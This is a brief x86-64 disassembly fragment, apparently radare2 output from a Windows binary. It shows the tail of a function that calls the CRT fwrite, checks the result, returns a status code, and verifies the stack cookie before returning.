call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140091215
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14009121a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rdi
ret